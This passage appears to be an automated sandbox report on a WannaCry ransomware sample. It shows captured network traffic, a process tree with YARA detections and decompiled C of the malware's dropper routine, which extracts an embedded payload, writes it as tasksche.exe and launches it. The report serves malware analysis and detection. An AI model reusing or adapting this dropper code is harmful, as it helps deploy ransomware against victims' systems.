2022-07-20 17:11:22 UTC	11198	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:10:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: fb175eaf-fc2e-487c-8a4e-c2be7d355080 PPServer: PPV: 30 H: BL02PF8FB8284CC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:11:21 GMT Connection: close Content-Length: 10109
2022-07-20 17:11:22 UTC	11199	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.7	64855	20.190.160.15	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:11:23 UTC	11209	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 17:11:23 UTC	11209	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:11:23 UTC	11214	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:10:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: bb22d1cb-6997-4f6d-8ca8-3a85533703ad PPServer: PPV: 30 H: BL02PF96E799BD1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:11:22 GMT Connection: close Content-Length: 10109
2022-07-20 17:11:23 UTC	11214	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.7	65105	40.127.240.158	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:11:24 UTC	11224	OUT	GET /settings/v2.0/wsd/muse?os=Windows&osVer=10.0.17134.1.amd64fre.rs4_release.180410-1804&deviceId=a2ab526a-d38d-4fc9-8ba0-e34b8d6354e8&sampleId=8875098&deviceClass=Windows.Desktop&sku=48&locale=en-US&ring=Retail&AttrDataVer=107&App=&AppVer=10.0&ubr=1 HTTP/1.1 Connection: Keep-Alive Content-Type: application/json If-None-Match: 1633:2EA4AD209B1132B4::2F0891BD3D User-Agent: cpprestsdk/2.8.0 Host: settings-win.data.microsoft.com
2022-07-20 17:11:24 UTC	11224	IN	HTTP/1.1 200 OK Cache-Control: no-cache,no-store Content-Length: 1399 Content-Type: application/json ETag: 1440:2EA4AD2087FCFF3A::2F147D0C06 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 20 Jul 2022 17:11:24 GMT Connection: close
2022-07-20 17:11:24 UTC	11225	IN	Data Raw: 7b 22 72 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 31 34 34 30 22 2c 22 71 75 65 72 79 55 72 6c 22 3a 22 2f 73 65 74 74 69 6e 67 73 2f 76 32 2e 30 2f 77 73 64 2f 6d 75 73 65 22 2c 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 44 49 53 50 4c 41 59 42 4c 4f 43 4b 4f 56 45 52 52 49 44 45 46 4f 52 52 45 42 4f 4f 54 52 45 51 55 49 52 45 44 49 4e 44 41 59 53 22 3a 22 30 22 2c 22 45 4e 48 41 4e 43 45 44 41 55 54 4f 52 45 42 4f 4f 54 54 4f 49 4e 54 45 52 4d 45 44 49 41 54 45 41 55 54 4f 52 45 42 4f 4f 54 49 4e 48 4f 55 52 53 22 3a 22 32 34 22 2c 22 45 4e 48 41 4e 43 45 44 45 4e 47 41 47 45 44 41 43 43 45 50 54 41 55 54 4f 54 4f 45 4e 54 45 52 41 55 54 4f 49 4e 48 4f 55 52 53 22 3a 22 34 38 22 2c 22 45 4e 48 41 4e 43 45 44 45 4e 47 41 47 45 44 41 55 54 4f 52 45 Data Ascii: {"refreshInterval":"1440","queryUrl":"/settings/v2.0/wsd/muse","settings":{"DISPLAYBLOCKOVERRIDEFORREBOOTREQUIREDINDAYS":"0","ENHANCEDAUTOREBOOTTOINTERMEDIATEAUTOREBOOTINHOURS":"24","ENHANCEDENGAGEDACCEPTAUTOTOENTERAUTOINHOURS":"48","ENHANCEDENGAGEDAUTORE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49871	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:01 UTC	86	OUT	GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:01 UTC	87	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 11182 Content-Type: image/png Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM" MS-CV: Yyzz1YfTlk6thXph.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:01 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:01 UTC	87	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>DIH$fEJ?Q;3qX\|,-*I1fdlns

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6192, Parent PID: 5404

General

Target ID:	1
Start time:	19:06:39
Start date:	20/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll"
Imagebase:	0x1120000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5124, Parent PID: 6192

General

Target ID:	2
Start time:	19:06:40
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1
Imagebase:	0xdd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1260, Parent PID: 6192

General

Target ID:	3
Start time:	19:06:41
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\QbNF1cvpa0.dll,PlayGame
Imagebase:	0x1200000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5364, Parent PID: 5124

General

Target ID:	4
Start time:	19:06:42
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",#1
Imagebase:	0x1200000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 1404, Parent PID: 5364

General

Target ID:	5
Start time:	19:06:43
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	6E8971EB87017E3B907679EF204BCC2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.369457391.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.370178171.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.368657344.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000005.00000000.371987251.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 93%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1400, Parent PID: 6192

General

Target ID:	6
Start time:	19:06:45
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\QbNF1cvpa0.dll",PlayGame
Imagebase:	0x1200000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6656, Parent PID: 1400

General

Target ID:	7
Start time:	19:06:45
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	6E8971EB87017E3B907679EF204BCC2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.376447140.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.373316314.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.374746978.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.378000535.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.386262666.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 5680, Parent PID: 604

General

Target ID:	8
Start time:	19:06:47
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x7ff7e8070000
File size:	3723264 bytes
MD5 hash:	6E8971EB87017E3B907679EF204BCC2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000000.376441267.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 6608, Parent PID: 1404

General

Target ID:	9
Start time:	19:06:49
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	BEB8A27FC024962E045C32AA58D07D0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 69%, Metadefender, Browse Detection: 88%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 5732, Parent PID: 6656

General

Target ID:	10
Start time:	19:06:51
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	BEB8A27FC024962E045C32AA58D07D0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8700, Parent PID: 604

General

Target ID:	14
Start time:	19:07:18
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7144, Parent PID: 604

General

Target ID:	17
Start time:	19:08:18
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 16948, Parent PID: 604

General

Target ID:	20
Start time:	19:09:12
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 20768, Parent PID: 604

General

Target ID:	22
Start time:	19:10:03
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 1404, Parent PID: 5364COMMON

Execution Graph

Execution Coverage:	71.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	64.9%
Total number of Nodes:	37
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x7705f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x7705fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

C:\%s\%s, xrefs: 00407DFB
CreateFileA, xrefs: 00407D0F
CreateProcessA, xrefs: 00407D07
C:\%s\qeriuwjhrf, xrefs: 00407E12
D, xrefs: 00407ED3
CloseHandle, xrefs: 00407D29
WINDOWS, xrefs: 00407DF2, 00407E0D
/i, xrefs: 00407E8D
WriteFile, xrefs: 00407D1C
kernel32.dll, xrefs: 00407CEA
tasksche.exe, xrefs: 00407DEA

Memory Dump Source

Source File: 00000005.00000002.381774645.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.381767519.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381784934.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381824018.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381863618.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381977977.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
